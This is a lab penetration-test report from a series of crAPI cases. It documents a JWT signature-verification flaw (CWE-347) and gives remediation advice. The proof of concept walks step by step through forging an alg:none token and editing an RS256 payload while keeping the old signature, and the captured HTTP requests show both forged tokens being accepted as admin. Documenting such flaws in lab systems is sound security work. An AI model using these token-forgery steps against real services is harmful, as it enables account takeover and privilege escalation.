Back to the index

LAB FAIL

JWT Signature Not Verified - Authentication - JWT Validation

JWT Signature Not Verified — Authentication — JWT Validation

CWE-347: Improper Verification of Cryptographic Signature · OWASP API2:2023 - Broken Authentication

Vulnerability

[FAIL] JWT Signature Not Verified - Authentication - JWT Validation

Description

The crAPI identity service does not verify JWT signatures. A token with the header alg:none and no signature is accepted, and an RS256 token whose payload was modified without re-signing is also accepted. An attacker can forge a token for any user and escalate the role to admin.

Impact

Confidentiality: victim account data can be read. Integrity: identity and role (admin) can be forged -> full account takeover of every user without credentials.

CWE

CWE-347: Improper Verification of Cryptographic Signature

OWASP

API2:2023 - Broken Authentication

Scenario

Normal: a legitimate role=user token only accesses its own data. Exploitation: a forged token (alg:none / edited RS256) impersonates an ADMIN (sub=[REDACTED-EMAIL], role=admin) -> accesses the admin account (id=5) -> CIA (Confidentiality + Integrity).

Endpoint

GET http://127.0.0.1:8888/identity/api/v2/user/dashboard (all JWT-based identity endpoints)

Affected feature

JWT-based authentication (crapi-identity)

Remediation

- Verify the JWT signature with the RS256 public key on every request. - Explicitly reject alg:none and apply algorithm allow-listing (RS256 only). - Use a mature JWT library; validate exp/iss/aud.

Proof of concept

  1. (Screenshot 1) NORMAL: GET /identity/api/v2/vehicle/vehicles with a legitimate RS256 token (shown in full) -> 200, own data only.
  2. (Screenshot 2) alg:none PROCESS: break down the original token, base64url-decode the header and payload, change alg to 'none' with no signature and set the payload to sub=[REDACTED-EMAIL]/role=admin, then reassemble the forged token (shown in full).
  3. (Screenshot 3) EXPLOITATION: send the alg:none token -> 200 returns the ADMIN account (id=5, ROLE_ADMIN).
  4. (Screenshot 4) RS256 tampering PROCESS: take the original RS256 token, edit the payload to sub=[REDACTED-EMAIL] and role=admin, then reattach the OLD signature without re-signing (token shown in full).
  5. (Screenshot 5) CIA IMPACT: send the tampered RS256 token -> still 200 and returns the ADMIN account -> proving the signature is not verified (Confidentiality + Integrity).

The complete record

LAB All targets are lab systems. Nothing here is a client engagement. Evidence is shown as recorded; secrets are blacked out.

Normal: access with own valid token

Normal: the attacker uses their valid RS256 token (role=user) to access their own data. The source capture contains the complete token; credential values are masked in this HTML view.

HTTP request
GET /identity/api/v2/vehicle/vehicles HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
Accept: application/json
HTTP response
HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 368

[
  {
    "id": 6,
    "uuid": "9b3ce26b-d797-404b-a961-09d7e45e0d1b",
    "pincode": "8392",
    "vin": "861P9NB3CL6ZEA9X1",
    "year": 2026,
    "status": "INACTIVE",
    "previousOwners": [],
    "model": {
      "id": 4,
      "model": "5 Series",
      "fuel_type": "PETROL",
      "vehicle_img": "images/bmw-5.jpg",
      "vehiclecompany": {
        "id": 4,
        "name": "BMW"
      }
    },
    "vehicleLocation": {
      "id": 4,
      "latitude": "38.206348",
      "longitude": "-84.270172"
    },
    "owner": null
  }
]
Normal: access with own valid token

An English explanation of this process is not available.

Original process notes (Bahasa Indonesia)

Bongkar JWT asli -> ubah alg:none & sub=admin, role=admin -> susun ulang token palsu (utuh) PROSES: buat token alg:none Header memakai alg:none sehingga tidak perlu signature. Payload diubah untuk MENYAMAR sebagai admin (sub=[REDACTED-EMAIL], role=admin).

Process details
== 1. Token asli hasil login (format: header.payload.signature) ==
[REDACTED-LAB-TOKEN]

== 2. Base64URL-decode tiap bagian ==
header  = eyJhbGciOiJSUzI1NiJ9
        -> {"alg": "RS256"}
payload = [REDACTED-LAB-TOKEN]
        -> {"sub": "[REDACTED-EMAIL]", "iat": 1790690714, "exp": 1791295514, "role": "user"}

== 3. Susun token PALSU: alg diganti 'none' (tanpa signature), sub->[REDACTED-EMAIL], role->admin ==
header baru  = base64url({"alg": "none", "typ": "JWT"})
             = eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
payload baru = base64url({"sub": "[REDACTED-EMAIL]", "role": "admin", "iat": 1790690714, "exp": 1999999999})
             = [REDACTED-LAB-TOKEN]
signature    = (KOSONG)

== 4. Token PALSU hasil akhir (utuh, tidak dipotong) ==
[REDACTED-LAB-TOKEN]
Screenshot

Result: unsigned token accepted as admin

Result: the server accepts the unsigned alg:none token and returns the admin account (id=5, ROLE_ADMIN). The capture records full admin impersonation. The source contains the complete token in the header; credential values are masked in this HTML view.

HTTP request
GET /identity/api/v2/user/dashboard HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
Accept: application/json
HTTP response
HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 231

{
  "id": 5,
  "name": "Admin",
  "email": "[REDACTED-EMAIL]",
  "number": "9010203040",
  "picture_url": null,
  "video_url": "data:image/jpeg;base64,B7HoBfK09fDx0A==",
  "video_name": "Admin_video",
  "available_credit": 100.0,
  "video_id": 5,
  "role": "ROLE_ADMIN"
}
Result: unsigned token accepted as admin

Change RS256 claims to sub=admin and role=admin; keep the original, now-invalid signature

Preparation: change payload, keep signature

Preparation: modify the RS256 payload but keep the original signature. The signature no longer matches the payload and should be rejected, yet crAPI accepts the token.

Process details
== 1. Token RS256 asli (signature valid) ==
[REDACTED-LAB-TOKEN]

== 2. Decode payload ==
{"sub": "[REDACTED-EMAIL]", "iat": 1790690714, "exp": 1791295514, "role": "user"}

== 3. Ubah payload (role user->admin, sub->[REDACTED-EMAIL]). Header & signature TIDAK diubah ==
payload baru = base64url({"sub": "[REDACTED-EMAIL]", "iat": 1790690714, "exp": 1791295514, "role": "admin"})
             = [REDACTED-LAB-TOKEN]
header       = eyJhbGciOiJSUzI1NiJ9   (tetap, alg RS256)
signature    = qiVE1YKhnGZYsQoV8qLrVMWSqX1XkvyP_8xBeCNs40s0BwNFP6ml5JkS_qAyFmcPJ9MqhN_4BCGuoIQ71mzzqWAUPd29N9mLh17OaiYFPlhalYV7A4h7XGY9sQNFyFwhlGXTSpSE5vNGzMBGVb_QXNoeabnuvIWnerN6wlkLL0vEKMIvtAkEUPey1GciCnp-6Vm_xf7g53AWjZ1Zg9d3kbDjHAvN697pn2czd98QQdK2E-DCQSyt8K8PLFRl1qqBO3gDeIv2HFJ-R-eds9QfnoeCUUk4BPBcND7BbqTFVVx6FUVx-A_lsIe8KmGNSllOP6zcDsSmQFMHmubilsdv7g   (signature LAMA, TIDAK di-resign)

== 4. Token hasil (header.payload_baru.signature_lama) -- signature tak cocok dgn payload (utuh) ==
[REDACTED-LAB-TOKEN]
Preparation: change payload, keep signature

Impact: modified RS256 token accepted

Impact: a token with a mismatched signature still returns 200. Admin account data is exposed, compromising confidentiality; a forged admin identity and role compromise integrity. The server does not verify the signature.

HTTP request
GET /identity/api/v2/user/dashboard HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
Accept: application/json
HTTP response
HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 231

{
  "id": 5,
  "name": "Admin",
  "email": "[REDACTED-EMAIL]",
  "number": "9010203040",
  "picture_url": null,
  "video_url": "data:image/jpeg;base64,B7HoBfK09fDx0A==",
  "video_name": "Admin_video",
  "available_credit": 100.0,
  "video_id": 5,
  "role": "ROLE_ADMIN"
}
Impact: modified RS256 token accepted

← Previous case: Improper Inventory Management - Authentication - OTP Endpoint Versions Next case: Mass Assignment - Authentication - User Registration →